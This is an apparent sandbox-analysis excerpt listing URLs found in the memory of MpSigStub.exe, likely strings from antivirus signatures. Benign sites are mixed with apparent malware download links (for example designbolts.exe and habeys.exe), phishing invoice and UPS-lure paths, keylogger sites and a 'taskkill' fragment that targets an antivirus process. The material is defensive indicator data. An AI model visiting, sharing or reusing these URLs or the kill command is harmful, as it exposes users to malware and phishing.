        Source: MpSigStub.exe, 00000023.00000003.18429220503.0000015B1A3C2000.00000004.00000001.sdmpString found in binary or memory: http://www.friend-card.com/pickup.aspx?code=
        Source: MpSigStub.exe, 00000023.00000003.18429220503.0000015B1A3C2000.00000004.00000001.sdmpString found in binary or memory: http://www.friend-greeting.net/pickup.aspx?code=
        Source: MpSigStub.exe, 00000023.00000003.18429220503.0000015B1A3C2000.00000004.00000001.sdmpString found in binary or memory: http://www.friendgreeting.com/pickup.aspx?code=
        Source: MpSigStub.exe, 00000023.00000003.18342184671.0000015B1C358000.00000004.00000001.sdmpString found in binary or memory: http://www.friskypotato.com/
        Source: MpSigStub.exe, 00000023.00000003.18316647369.0000015B1B557000.00000004.00000001.sdmpString found in binary or memory: http://www.friskypotato.com/codec/mp3/activecod3
        Source: MpSigStub.exe, 00000023.00000003.18431805767.0000015B1BFA6000.00000004.00000001.sdmpString found in binary or memory: http://www.gamedanji.cn/ExeIni
        Source: MpSigStub.exe, 00000023.00000003.18429220503.0000015B1A3C2000.00000004.00000001.sdmpString found in binary or memory: http://www.geocities.com/joke_haha2001
        Source: MpSigStub.exe, 00000023.00000003.18329049691.0000015B1ABCB000.00000004.00000001.sdmpString found in binary or memory: http://www.getpricefinder.com/
        Source: MpSigStub.exe, 00000023.00000003.18329979252.0000015B1AE1C000.00000004.00000001.sdmpString found in binary or memory: http://www.getsav-in.compublisheradpeak
        Source: MpSigStub.exe, 00000023.00000003.18430797596.0000015B1AE5D000.00000004.00000001.sdmpString found in binary or memory: http://www.ggt.int.pld
        Source: MpSigStub.exe, 00000023.00000003.18424989390.0000015B1C5AA000.00000004.00000001.sdmpString found in binary or memory: http://www.gistery.trade/sys/designbolts.exe
        Source: MpSigStub.exe, 00000023.00000003.18423819335.0000015B1B1FA000.00000004.00000001.sdmpString found in binary or memory: http://www.go2000.cn/p/?q=
        Source: MpSigStub.exe, 00000023.00000003.18426294063.0000015B1BD11000.00000004.00000001.sdmpString found in binary or memory: http://www.goldentech.co.kr
        Source: MpSigStub.exe, 00000023.00000003.18426595439.0000015B1BB86000.00000004.00000001.sdmpString found in binary or memory: http://www.goldwindos2000.com/hkeraone/hker.htmwidht=0height=0
        Source: MpSigStub.exe, 00000023.00000003.18304719860.0000015B1B7EB000.00000004.00000001.sdmpString found in binary or memory: http://www.goodtimesplayer.com/license.cgi?vidlock_params=
        Source: MpSigStub.exe, 00000023.00000003.18432805737.0000015B1BA3B000.00000004.00000001.sdmpString found in binary or memory: http://www.google.cn/search?complete=1&hl=zh-CN&inlang=zh-CN&newwindow=1&q=
        Source: MpSigStub.exe, 00000023.00000003.18293662919.0000015B1BCD0000.00000004.00000001.sdmpString found in binary or memory: http://www.google.cn/search?hl=zh-CN&q=
        Source: MpSigStub.exe, 00000023.00000003.18290902842.0000015B1BFA6000.00000004.00000001.sdmpString found in binary or memory: http://www.google.cn/search?q=%s
        Source: MpSigStub.exe, 00000023.00000003.18427196191.0000015B1AB46000.00000004.00000001.sdmpString found in binary or memory: http://www.google.com
        Source: MpSigStub.exe, 00000023.00000003.18424566697.0000015B1C41E000.00000004.00000001.sdmpString found in binary or memory: http://www.google.com.tr/
        Source: MpSigStub.exe, 00000023.00000003.18427196191.0000015B1AB46000.00000004.00000001.sdmpString found in binary or memory: http://www.google.com/search?complete=1&q=%s
        Source: MpSigStub.exe, 00000023.00000003.18433793263.0000015B1AEE2000.00000004.00000001.sdmpString found in binary or memory: http://www.google.com/search?hl=en&ie=UTF-8&oe=UTF-8&q=%s
        Source: MpSigStub.exe, 00000023.00000003.18260309272.0000015B0C57A000.00000004.00000001.sdmpString found in binary or memory: http://www.google.com/url?sa=t&rct=j&q=&esrc=s&source=web
        Source: MpSigStub.exe, 00000023.00000003.18260309272.0000015B0C57A000.00000004.00000001.sdmpString found in binary or memory: http://www.google.com/url?sa=t&rct=j&q=&esrc=s&source=webreferrerMicrosoft
        Source: MpSigStub.exe, 00000023.00000003.18242976274.0000015B0B50C000.00000004.00000001.sdmpString found in binary or memory: http://www.google.com/url?sa=t&rct=j&q=&esrc=s&source=webreferrercookienode.appendChild()
        Source: MpSigStub.exe, 00000023.00000003.18430467796.0000015B1AE1C000.00000004.00000001.sdmpString found in binary or memory: http://www.gooo.ru
        Source: MpSigStub.exe, 00000023.00000003.18329049691.0000015B1ABCB000.00000004.00000001.sdmpString found in binary or memory: http://www.gorillawalker.com
        Source: MpSigStub.exe, 00000023.00000003.18427547415.0000015B1B8F2000.00000004.00000001.sdmpString found in binary or memory: http://www.gratisweb.com/vaisefuder00
        Source: MpSigStub.exe, 00000023.00000003.18350843348.0000015B1B3CA000.00000004.00000001.sdmpString found in binary or memory: http://www.greenpartnership.jp
        Source: MpSigStub.exe, 00000023.00000003.18423819335.0000015B1B1FA000.00000004.00000001.sdmpString found in binary or memory: http://www.greyhathacker.net/tools/
        Source: MpSigStub.exe, 00000023.00000003.18309335590.0000015B1AFA8000.00000004.00000001.sdmpString found in binary or memory: http://www.guzzotorino.it/ups-ship-notification
        Source: MpSigStub.exe, 00000023.00000003.18424566697.0000015B1C41E000.00000004.00000001.sdmpString found in binary or memory: http://www.hao123.com/
        Source: MpSigStub.exe, 00000023.00000003.18320914162.0000015B1B65F000.00000004.00000001.sdmpString found in binary or memory: http://www.hao123.com/?tn=
        Source: MpSigStub.exe, 00000023.00000003.18325191461.0000015B1BE9F000.00000004.00000001.sdmpString found in binary or memory: http://www.haosoft.net/
        Source: MpSigStub.exe, 00000023.00000003.18426294063.0000015B1BD11000.00000004.00000001.sdmpString found in binary or memory: http://www.hebogo.com/ac
        Source: MpSigStub.exe, 00000023.00000003.18319632958.0000015B1BDD9000.00000004.00000001.sdmpString found in binary or memory: http://www.hjsdffsfs.aonecommercial.com
        Source: MpSigStub.exe, 00000023.00000003.18327176542.0000015B1B61C000.00000004.00000001.sdmpString found in binary or memory: http://www.hljcm.com/c
        Source: MpSigStub.exe, 00000023.00000003.18431805767.0000015B1BFA6000.00000004.00000001.sdmpString found in binary or memory: http://www.hoarafushionline.net/extractf.php?x=
        Source: MpSigStub.exe, 00000023.00000003.18431805767.0000015B1BFA6000.00000004.00000001.sdmpString found in binary or memory: http://www.hoarafushionline.net/habeys.exe
        Source: MpSigStub.exe, 00000023.00000003.18295774211.0000015B1BEE1000.00000004.00000001.sdmpString found in binary or memory: http://www.hohosearch.com/?ts=
        Source: MpSigStub.exe, 00000023.00000003.18315964598.0000015B1A481000.00000004.00000001.sdmpString found in binary or memory: http://www.hotbar.com
        Source: MpSigStub.exe, 00000023.00000003.18320914162.0000015B1B65F000.00000004.00000001.sdmpString found in binary or memory: http://www.hotdutchporn.net/cb/scripts/getAddressFromIP.php?wmid=
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpString found in binary or memory: http://www.hotelelun.cl/
        Source: MpSigStub.exe, 00000023.00000003.18432465628.0000015B1B9FA000.00000004.00000001.sdmpString found in binary or memory: http://www.htylk.esy.es/nobe/downloaddocument-adobesignin.html
        Source: MpSigStub.exe, 00000023.00000003.18334190857.0000015B1A60C000.00000004.00000001.sdmpString found in binary or memory: http://www.hustler-exclusive.com/
        Source: MpSigStub.exe, 00000023.00000003.18323230598.0000015B1B134000.00000004.00000001.sdmpString found in binary or memory: http://www.hxlive.cn
        Source: MpSigStub.exe, 00000023.00000003.18320914162.0000015B1B65F000.00000004.00000001.sdmpString found in binary or memory: http://www.i-cash.de/
        Source: MpSigStub.exe, 00000023.00000003.18290902842.0000015B1BFA6000.00000004.00000001.sdmpString found in binary or memory: http://www.iask.com/s?k=%s
        Source: MpSigStub.exe, 00000023.00000003.18336414128.0000015B1BF22000.00000004.00000001.sdmpString found in binary or memory: http://www.ica.co.il/repository/cps/PersonalID_Practice_Statement.pdf0
        Source: MpSigStub.exe, 00000023.00000003.18335733371.0000015B1B82C000.00000004.00000001.sdmpString found in binary or memory: http://www.icbc.com.cn/
        Source: MpSigStub.exe, 00000023.00000003.18290902842.0000015B1BFA6000.00000004.00000001.sdmpString found in binary or memory: http://www.iciba.com/search?s=%s
        Source: MpSigStub.exe, 00000023.00000003.18423368163.0000015B1C1B6000.00000004.00000001.sdmpString found in binary or memory: http://www.icq.com
        Source: MpSigStub.exe, 00000023.00000003.18429220503.0000015B1A3C2000.00000004.00000001.sdmpString found in binary or memory: http://www.idownline.com/members/idownline
        Source: MpSigStub.exe, 00000023.00000003.18433465792.0000015B1B723000.00000004.00000001.sdmpString found in binary or memory: http://www.ilikeclick.com/track/click.php?dts_code=
        Source: MpSigStub.exe, 00000023.00000003.18335733371.0000015B1B82C000.00000004.00000001.sdmpString found in binary or memory: http://www.imobile.com.cn/
        Source: MpSigStub.exe, 00000023.00000003.18287888120.0000015B1BC0A000.00000004.00000001.sdmpString found in binary or memory: http://www.inet4you.com/exit/
        Source: MpSigStub.exe, 00000023.00000003.18313952102.0000015B1B3A0000.00000004.00000001.sdmpString found in binary or memory: http://www.infoaxe.com/enhancedsearchform.jsp
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: http://www.infoodesk.org/wizzy/wizzy/mailmine.html)
        Source: MpSigStub.exe, 00000023.00000003.18346827221.0000015B1B1B9000.00000004.00000001.sdmpString found in binary or memory: http://www.infotraffik-01.space/?
        Source: MpSigStub.exe, 00000023.00000003.18329979252.0000015B1AE1C000.00000004.00000001.sdmpString found in binary or memory: http://www.installmonetizer.com/download.php?
        Source: MpSigStub.exe, 00000023.00000003.18316847212.0000015B1B582000.00000004.00000001.sdmpString found in binary or memory: http://www.instantmp3player.com
        Source: MpSigStub.exe, 00000023.00000003.18290902842.0000015B1BFA6000.00000004.00000001.sdmpString found in binary or memory: http://www.ip.com.cn/idcard.php?q=%s
        Source: MpSigStub.exe, 00000023.00000003.18290902842.0000015B1BFA6000.00000004.00000001.sdmpString found in binary or memory: http://www.ip.com.cn/ip.php?q=%s
        Source: MpSigStub.exe, 00000023.00000003.18290902842.0000015B1BFA6000.00000004.00000001.sdmpString found in binary or memory: http://www.ip.com.cn/mobile.php?q=%s
        Source: MpSigStub.exe, 00000023.00000003.18290902842.0000015B1BFA6000.00000004.00000001.sdmpString found in binary or memory: http://www.ip.com.cn/tel.php?q=%s
        Source: MpSigStub.exe, 00000023.00000003.18293334552.0000015B1BC8E000.00000004.00000001.sdmpString found in binary or memory: http://www.ip138.com
        Source: MpSigStub.exe, 00000023.00000003.18293334552.0000015B1BC8E000.00000004.00000001.sdmpString found in binary or memory: http://www.ip138.comx
        Source: MpSigStub.exe, 00000023.00000003.18296359788.0000015B1C251000.00000004.00000001.sdmpString found in binary or memory: http://www.ip2location.com/
        Source: MpSigStub.exe, 00000023.00000003.18431461093.0000015B1B02B000.00000004.00000001.sdmpString found in binary or memory: http://www.ipvoips.com/
        Source: MpSigStub.exe, 00000023.00000003.18427196191.0000015B1AB46000.00000004.00000001.sdmpString found in binary or memory: http://www.ischrome.com/
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: http://www.isihodiernatunisi.com/online/zixmessage.htm)
        Source: MpSigStub.exe, 00000023.00000003.18342870635.0000015B1AB89000.00000004.00000001.sdmpString found in binary or memory: http://www.istartsurf.com
        Source: MpSigStub.exe, 00000023.00000003.18431461093.0000015B1B02B000.00000004.00000001.sdmpString found in binary or memory: http://www.itau.com.br
        Source: MpSigStub.exe, 00000023.00000003.18290582002.0000015B1BF65000.00000004.00000001.sdmpString found in binary or memory: http://www.j.mp/
        Source: MpSigStub.exe, 00000023.00000003.18433465792.0000015B1B723000.00000004.00000001.sdmpString found in binary or memory: http://www.jafiduto.cz/images/wordpress.php
        Source: MpSigStub.exe, 00000023.00000003.18315624417.0000015B1B02C000.00000004.00000001.sdmpString found in binary or memory: http://www.jajaan.com/ip.asp
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpString found in binary or memory: http://www.jejuseongahn.org/hboard4/data/cheditor/badu/alpha.php?v
        Source: MpSigStub.exe, 00000023.00000003.18330938423.0000015B1AA81000.00000004.00000001.sdmpString found in binary or memory: http://www.jesuser.cn/plug/doSelect.asp?CMD=%s
        Source: MpSigStub.exe, 00000023.00000003.18335733371.0000015B1B82C000.00000004.00000001.sdmpString found in binary or memory: http://www.joyo.com/
        Source: MpSigStub.exe, 00000023.00000003.18287888120.0000015B1BC0A000.00000004.00000001.sdmpString found in binary or memory: http://www.jrsoftware.org/ishelp/index.php?topic=setupcmdline
        Source: MpSigStub.exe, 00000023.00000003.18287888120.0000015B1BC0A000.00000004.00000001.sdmpString found in binary or memory: http://www.jrsoftware.org/ishelp/index.php?topic=setupcmdlinexl
        Source: MpSigStub.exe, 00000023.00000003.18293662919.0000015B1BCD0000.00000004.00000001.sdmpString found in binary or memory: http://www.jsonrpc.org/
        Source: MpSigStub.exe, 00000023.00000003.18427547415.0000015B1B8F2000.00000004.00000001.sdmpString found in binary or memory: http://www.judios.org/paid-invoice-credit-card-receipt/
        Source: MpSigStub.exe, 00000023.00000003.18315964598.0000015B1A481000.00000004.00000001.sdmpString found in binary or memory: http://www.jword.jp/
        Source: MpSigStub.exe, 00000023.00000003.18427196191.0000015B1AB46000.00000004.00000001.sdmpString found in binary or memory: http://www.kaolabao.net/bo/update.ini
        Source: MpSigStub.exe, 00000023.00000003.18349004213.0000015B1A9DB000.00000004.00000001.sdmpString found in binary or memory: http://www.kerstingutleder.at//p.o/next.php
        Source: MpSigStub.exe, 00000023.00000003.18302834450.0000015B1BFE8000.00000004.00000001.sdmpString found in binary or memory: http://www.key-logger.ws
        Source: MpSigStub.exe, 00000023.00000003.18428517155.0000015B1C06B000.00000004.00000001.sdmpString found in binary or memory: http://www.klikspaandelft.nl/
        Source: MpSigStub.exe, 00000023.00000003.18430467796.0000015B1AE1C000.00000004.00000001.sdmpString found in binary or memory: http://www.komikeglence.com/
        Source: MpSigStub.exe, 00000023.00000003.18427547415.0000015B1B8F2000.00000004.00000001.sdmpString found in binary or memory: http://www.kreher.tv/dhes/images/images/
        Source: MpSigStub.exe, 00000023.00000003.18331238413.0000015B1AAC2000.00000004.00000001.sdmpString found in binary or memory: http://www.kryogenix.org/code/browser/sorttable/
        Source: MpSigStub.exe, 00000023.00000003.18350843348.0000015B1B3CA000.00000004.00000001.sdmpString found in binary or memory: http://www.kssoftware.ch
        Source: MpSigStub.exe, 00000023.00000003.18424989390.0000015B1C5AA000.00000004.00000001.sdmpString found in binary or memory: http://www.kuku530.com/?
        Source: MpSigStub.exe, 00000023.00000003.18424989390.0000015B1C5AA000.00000004.00000001.sdmpString found in binary or memory: http://www.kuku530.com/?Favorites
        Source: MpSigStub.exe, 00000023.00000003.18427196191.0000015B1AB46000.00000004.00000001.sdmpString found in binary or memory: http://www.labsus.org/images/web/
        Source: MpSigStub.exe, 00000023.00000003.18319632958.0000015B1BDD9000.00000004.00000001.sdmpString found in binary or memory: http://www.linkinc.es/scss/water.php
        Source: MpSigStub.exe, 00000023.00000003.18350085117.0000015B1B6E3000.00000004.00000001.sdmpString found in binary or memory: http://www.lis.eu
        Source: MpSigStub.exe, 00000023.00000003.18310002934.0000015B1B40D000.00000004.00000001.sdmpString found in binary or memory: http://www.livecare.net/x
        Source: MpSigStub.exe, 00000023.00000003.18329979252.0000015B1AE1C000.00000004.00000001.sdmpString found in binary or memory: http://www.lollipop-network.com/privacy.php?lg=
        Source: MpSigStub.exe, 00000023.00000003.18293334552.0000015B1BC8E000.00000004.00000001.sdmpString found in binary or memory: http://www.look2me.com
        Source: MpSigStub.exe, 00000023.00000003.18315964598.0000015B1A481000.00000004.00000001.sdmpString found in binary or memory: http://www.look2me.com/
        Source: MpSigStub.exe, 00000023.00000003.18293334552.0000015B1BC8E000.00000004.00000001.sdmpString found in binary or memory: http://www.look2me.com/cgi
        Source: MpSigStub.exe, 00000023.00000003.18293334552.0000015B1BC8E000.00000004.00000001.sdmpString found in binary or memory: http://www.look2me.com/products/
        Source: MpSigStub.exe, 00000023.00000003.18283012261.0000015B1BB87000.00000004.00000001.sdmpString found in binary or memory: http://www.lop.com/search/
        Source: MpSigStub.exe, 00000023.00000003.18283012261.0000015B1BB87000.00000004.00000001.sdmpString found in binary or memory: http://www.lop.com/search/xa
        Source: MpSigStub.exe, 00000023.00000003.18298177384.0000015B1AD15000.00000004.00000001.sdmpString found in binary or memory: http://www.luckbird8.cn/
        Source: MpSigStub.exe, 00000023.00000003.18432136853.0000015B1BFE7000.00000004.00000001.sdmpString found in binary or memory: http://www.lumina.it/wp-content/plugins/all-in-one-wp-migration/storage/client/invoice-978561/
        Source: MpSigStub.exe, 00000023.00000003.18316647369.0000015B1B557000.00000004.00000001.sdmpString found in binary or memory: http://www.lwstats.com/11/
        Source: MpSigStub.exe, 00000023.00000003.18423368163.0000015B1C1B6000.00000004.00000001.sdmpString found in binary or memory: http://www.lycos.com
        Source: MpSigStub.exe, 00000023.00000003.18317322207.0000015B1B5DB000.00000004.00000001.sdmpString found in binary or memory: http://www.macadwarecleaner.com
        Source: MpSigStub.exe, 00000023.00000003.18301236868.0000015B1B97A000.00000004.00000001.sdmpString found in binary or memory: http://www.macromedia.com/go/getflashplayer
        Source: MpSigStub.exe, 00000023.00000003.18431115827.0000015B1AFEA000.00000004.00000001.sdmpString found in binary or memory: http://www.maicaidao.com
        Source: MpSigStub.exe, 00000023.00000003.18426889733.0000015B1BBC7000.00000004.00000001.sdmpString found in binary or memory: http://www.mail-kunren.jp/sample2018jb1e/index.html?src=
        Source: MpSigStub.exe, 00000023.00000003.18338690411.0000015B1A7CB000.00000004.00000001.sdmpString found in binary or memory: http://www.maliciousurl-695dba18-2bb9-429a-a9a6-fe89a0eb945e.com/
        Source: MpSigStub.exe, 00000023.00000003.18424566697.0000015B1C41E000.00000004.00000001.sdmpString found in binary or memory: http://www.manyakpc.com
        Source: MpSigStub.exe, 00000023.00000003.18423368163.0000015B1C1B6000.00000004.00000001.sdmpString found in binary or memory: http://www.mapquest.com
        Source: MpSigStub.exe, 00000023.00000003.18428865493.0000015B1A381000.00000004.00000001.sdmpString found in binary or memory: http://www.mathrandomfloor/photo.txt?buttonnumdiskmlkjihgfed:
        Source: MpSigStub.exe, 00000023.00000003.18322243559.0000015B1A504000.00000004.00000001.sdmpString found in binary or memory: http://www.maxwebsearch.com/s?i_
        Source: MpSigStub.exe, 00000023.00000003.18426294063.0000015B1BD11000.00000004.00000001.sdmpString found in binary or memory: http://www.mcafee.com93.73.148.17eset.com93.73.148.17
        Source: MpSigStub.exe, 00000023.00000003.18431805767.0000015B1BFA6000.00000004.00000001.sdmpString found in binary or memory: http://www.mcmoney2012.com/fxf09.php
        Source: MpSigStub.exe, 00000023.00000003.18290902842.0000015B1BFA6000.00000004.00000001.sdmpString found in binary or memory: http://www.mediabusnetwork.com/phandler.php?pid=
        Source: MpSigStub.exe, 00000023.00000003.18339677269.0000015B1AB04000.00000004.00000001.sdmpString found in binary or memory: http://www.mediafire.com/download/
        Source: MpSigStub.exe, 00000023.00000003.18329672768.0000015B1ADDA000.00000004.00000001.sdmpString found in binary or memory: http://www.megafileupload.com/
        Source: MpSigStub.exe, 00000023.00000003.18305659214.0000015B1C39B000.00000004.00000001.sdmpString found in binary or memory: http://www.megasesso.ittaskkill/f/imavp.exetaskkill/f/imavp.exetaskkill/f/imavp.exetaskkill/f/imavp.
        Source: MpSigStub.exe, 00000023.00000003.18329979252.0000015B1AE1C000.00000004.00000001.sdmpString found in binary or memory: http://www.mickyfastdl.com/download.php?
        Source: MpSigStub.exe, 00000023.00000003.18291256000.0000015B1B9B9000.00000004.00000001.sdmp, MpSigStub.exe, 00000023.00000003.18426294063.0000015B1BD11000.00000004.00000001.sdmpString found in binary or memory: http://www.microname.co.kr
        Source: MpSigStub.exe, 00000023.00000003.18431805767.0000015B1BFA6000.00000004.00000001.sdmpString found in binary or memory: http://www.mindcrash.it/upload/galleriafotografica
        Source: MpSigStub.exe, 00000023.00000003.18423368163.0000015B1C1B6000.00000004.00000001.sdmpString found in binary or memory: http://www.mlb.com
        Source: MpSigStub.exe, 00000023.00000003.18346827221.0000015B1B1B9000.00000004.00000001.sdmpString found in binary or memory: http://www.mmviewer.com
        Source: MpSigStub.exe, 00000023.00000003.18346827221.0000015B1B1B9000.00000004.00000001.sdmpString found in binary or memory: http://www.mmviewer.com/post/
        Source: MpSigStub.exe, 00000023.00000003.18430078945.0000015B1C0AE000.00000004.00000001.sdmpString found in binary or memory: http://www.moliv.com.br/stat/email0702/
        Source: MpSigStub.exe, 00000023.00000003.18294597236.0000015B1A5CB000.00000004.00000001.sdmpString found in binary or memory: http://www.monitoreatufamilia.com
        Source: MpSigStub.exe, 00000023.00000003.18423368163.0000015B1C1B6000.00000004.00000001.sdmpString found in binary or memory: http://www.monster.com
        Source: MpSigStub.exe, 00000023.00000003.18291256000.0000015B1B9B9000.00000004.00000001.sdmpString found in binary or memory: http://www.mootolola.com/
        Source: MpSigStub.exe, 00000023.00000003.18296359788.0000015B1C251000.00000004.00000001.sdmpString found in binary or memory: http://www.more4apps.com/
        Source: MpSigStub.exe, 00000023.00000003.18316847212.0000015B1B582000.00000004.00000001.sdmpString found in binary or memory: http://www.mp3codec.info
        Source: MpSigStub.exe, 00000023.00000003.18349339011.0000015B1A999000.00000004.00000001.sdmpString found in binary or memory: http://www.mp3codec.info/
        Source: MpSigStub.exe, 00000023.00000003.18316647369.0000015B1B557000.00000004.00000001.sdmpString found in binary or memory: http://www.mp3codec.net
        Source: MpSigStub.exe, 00000023.00000003.18309335590.0000015B1AFA8000.00000004.00000001.sdmpString found in binary or memory: http://www.msn.com/?pc=MSERT1
        Source: MpSigStub.exe, 00000023.00000003.18424566697.0000015B1C41E000.00000004.00000001.sdmpString found in binary or memory: http://www.mt-download.com/mtrslib2.js
        Source: MpSigStub.exe, 00000023.00000003.18424989390.0000015B1C5AA000.00000004.00000001.sdmpString found in binary or memory: http://www.mva.by/tags/ariscanin1.e
        Source: MpSigStub.exe, 00000023.00000003.18349004213.0000015B1A9DB000.00000004.00000001.sdmpString found in binary or memory: http://www.mvps.org/vb
        Source: MpSigStub.exe, 00000023.00000003.18309335590.0000015B1AFA8000.00000004.00000001.sdmpString found in binary or memory: http://www.my123.com/
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpString found in binary or memory: http://www.my8899.com/
        Source: MpSigStub.exe, 00000023.00000003.18431115827.0000015B1AFEA000.00000004.00000001.sdmpString found in binary or memory: http://www.my_wallpaper_location.com/wallpaper.bmp
        Source: MpSigStub.exe, 00000023.00000003.18286999705.0000015B0817D000.00000004.00000001.sdmpString found in binary or memory: http://www.myarmory.com/search/?Keywords=
        Source: MpSigStub.exe, 00000023.00000003.18309335590.0000015B1AFA8000.00000004.00000001.sdmpString found in binary or memory: http://www.mydreamworld.50webs.com
        Source: MpSigStub.exe, 00000023.00000003.18315624417.0000015B1B02C000.00000004.00000001.sdmpString found in binary or memory: http://www.myfiledistribution.com/mfd.php
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpString found in binary or memory: http://www.mymediacenter.in/crime/index.php
        Source: MpSigStub.exe, 00000023.00000003.18289622866.0000015B1BD96000.00000004.00000001.sdmpString found in binary or memory: http://www.mypaymate.com/dialerplatform/tmp.htm
        Source: MpSigStub.exe, 00000023.00000003.18298772777.0000015B1A8DA000.00000004.00000001.sdmpString found in binary or memory: http://www.myyiso.com/internet/
        Source: MpSigStub.exe, 00000023.00000003.18307074601.0000015B1AA4C000.00000004.00000001.sdmpString found in binary or memory: http://www.nab.com.au
        Source: MpSigStub.exe, 00000023.00000003.18426595439.0000015B1BB86000.00000004.00000001.sdmpString found in binary or memory: http://www.namu-in.com//bbs/data/init.htm
        Source: MpSigStub.exe, 00000023.00000003.18429740183.0000015B1B2C1000.00000004.00000001.sdmpString found in binary or memory: http://www.natwest.com/
        Source: MpSigStub.exe, 00000023.00000003.18345035369.0000015B1B176000.00000004.00000001.sdmpString found in binary or memory: http://www.navegaki.com/?bd=sc&oem=cube&uid=maxtorxstm3250310as_6ry4hzd9xxxx6ry4hzd9&version=2.3.0.8
        Source: MpSigStub.exe, 00000023.00000003.18315964598.0000015B1A481000.00000004.00000001.sdmpString found in binary or memory: http://www.navexcel.com
        Source: MpSigStub.exe, 00000023.00000003.18315964598.0000015B1A481000.00000004.00000001.sdmpString found in binary or memory: http://www.navexcel.com/
        Source: MpSigStub.exe, 00000023.00000003.18309335590.0000015B1AFA8000.00000004.00000001.sdmpString found in binary or memory: http://www.navsmart.info
        Source: MpSigStub.exe, 00000023.00000003.18322924550.0000015B1B0F3000.00000004.00000001.sdmpString found in binary or memory: http://www.navsmart.info/
        Source: MpSigStub.exe, 00000023.00000003.18423368163.0000015B1C1B6000.00000004.00000001.sdmpString found in binary or memory: http://www.nba.com
        Source: MpSigStub.exe, 00000023.00000003.18432805737.0000015B1BA3B000.00000004.00000001.sdmpString found in binary or memory: http://www.nerddogueto.com.br
        Source: MpSigStub.exe, 00000023.00000003.18320914162.0000015B1B65F000.00000004.00000001.sdmpString found in binary or memory: http://www.netfe.org/
        Source: MpSigStub.exe, 00000023.00000003.18423368163.0000015B1C1B6000.00000004.00000001.sdmpString found in binary or memory: http://www.netscape.com
        Source: MpSigStub.exe, 00000023.00000003.18325191461.0000015B1BE9F000.00000004.00000001.sdmpString found in binary or memory: http://www.netxboy.com/
        Source: MpSigStub.exe, 00000023.00000003.18325191461.0000015B1BE9F000.00000004.00000001.sdmpString found in binary or memory: http://www.netxboy.com/x
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpString found in binary or memory: http://www.niepicowane.pl/
        Source: MpSigStub.exe, 00000023.00000003.18296662261.0000015B1C292000.00000004.00000001.sdmpString found in binary or memory: http://www.niudoudou.com/web/download/
        Source: MpSigStub.exe, 00000023.00000003.18325191461.0000015B1BE9F000.00000004.00000001.sdmpString found in binary or memory: http://www.now.cn/?SCPMCID=
        Source: MpSigStub.exe, 00000023.00000003.18329979252.0000015B1AE1C000.00000004.00000001.sdmpString found in binary or memory: http://www.ntdlzone.com/download.php?
        Source: MpSigStub.exe, 00000023.00000003.18329979252.0000015B1AE1C000.00000004.00000001.sdmpString found in binary or memory: http://www.ntdlzone.com/download.php?xV
        Source: MpSigStub.exe, 00000023.00000003.18333278800.0000015B1AC5E000.00000004.00000001.sdmpString found in binary or memory: http://www.nubileones.com/members/
        Source: MpSigStub.exe, 00000023.00000003.18301236868.0000015B1B97A000.00000004.00000001.sdmpString found in binary or memory: http://www.nuevaq.fm
        Source: MpSigStub.exe, 00000023.00000003.18423368163.0000015B1C1B6000.00000004.00000001.sdmpString found in binary or memory: http://www.nytimes.com
        Source: MpSigStub.exe, 00000023.00000003.18429740183.0000015B1B2C1000.00000004.00000001.sdmpString found in binary or memory: http://www.o2.co.uk/
        Source: MpSigStub.exe, 00000023.00000003.18283593829.0000015B1A80D000.00000004.00000001.sdmpString found in binary or memory: http://www.omniboxes.com/?type=sc&ts=1425313275&from=amt&uid=sandiskxsdssdhp256g_132567401149
        Source: MpSigStub.exe, 00000023.00000003.18335733371.0000015B1B82C000.00000004.00000001.sdmpString found in binary or memory: http://www.onlinedown.net/
        Source: MpSigStub.exe, 00000023.00000003.18285687047.0000015B1B29A000.00000004.00000001.sdmpString found in binary or memory: http://www.onmylike.com/?utm_source=
        Source: MpSigStub.exe, 00000023.00000003.18424566697.0000015B1C41E000.00000004.00000001.sdmpString found in binary or memory: http://www.ooooos.com/
        Source: MpSigStub.exe, 00000023.00000003.18429220503.0000015B1A3C2000.00000004.00000001.sdmpString found in binary or memory: http://www.orkut.com
        Source: MpSigStub.exe, 00000023.00000003.18342870635.0000015B1AB89000.00000004.00000001.sdmpString found in binary or memory: http://www.oursurfing.com
        Source: MpSigStub.exe, 00000023.00000003.18292431996.0000015B1BA3D000.00000004.00000001.sdmpString found in binary or memory: http://www.papaping.com
        Source: MpSigStub.exe, 00000023.00000003.18298177384.0000015B1AD15000.00000004.00000001.sdmpString found in binary or memory: http://www.paqtool.com/product/keylog/keylog_
        Source: MpSigStub.exe, 00000023.00000003.18326614272.0000015B1A717000.00000004.00000001.sdmpString found in binary or memory: http://www.paran-welfare.org/dokumente/
        Source: MpSigStub.exe, 00000023.00000003.18427547415.0000015B1B8F2000.00000004.00000001.sdmpString found in binary or memory: http://www.pardislab.com/ups-us/feb-12-18-04-16-13/
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpString found in binary or memory: http://www.pasillorosa.com/
        Source: MpSigStub.exe, 00000023.00000003.18426595439.0000015B1BB86000.00000004.00000001.sdmpString found in binary or memory: http://www.pc-tune.ch/getip.php
        Source: MpSigStub.exe, 00000023.00000003.18335733371.0000015B1B82C000.00000004.00000001.sdmpString found in binary or memory: http://www.pclady.com.cn/
        Source: MpSigStub.exe, 00000023.00000003.18297596094.0000015B1B44F000.00000004.00000001.sdmpString found in binary or memory: http://www.pcpurifier.com/buynow/?
        Source: MpSigStub.exe, 00000023.00000003.18297596094.0000015B1B44F000.00000004.00000001.sdmpString found in binary or memory: http://www.pcpurifier.com/renewal/?
        Source: MpSigStub.exe, 00000023.00000003.18432136853.0000015B1BFE7000.00000004.00000001.sdmpString found in binary or memory: http://www.phokhobazan.com/%202%200%201%208-0%207%20-%201%201%202%200%200%207:%202%206:%2099%20819.p
        Source: MpSigStub.exe, 00000023.00000003.18331238413.0000015B1AAC2000.00000004.00000001.sdmpString found in binary or memory: http://www.pinnaclemedicaltraining.com/invoice/
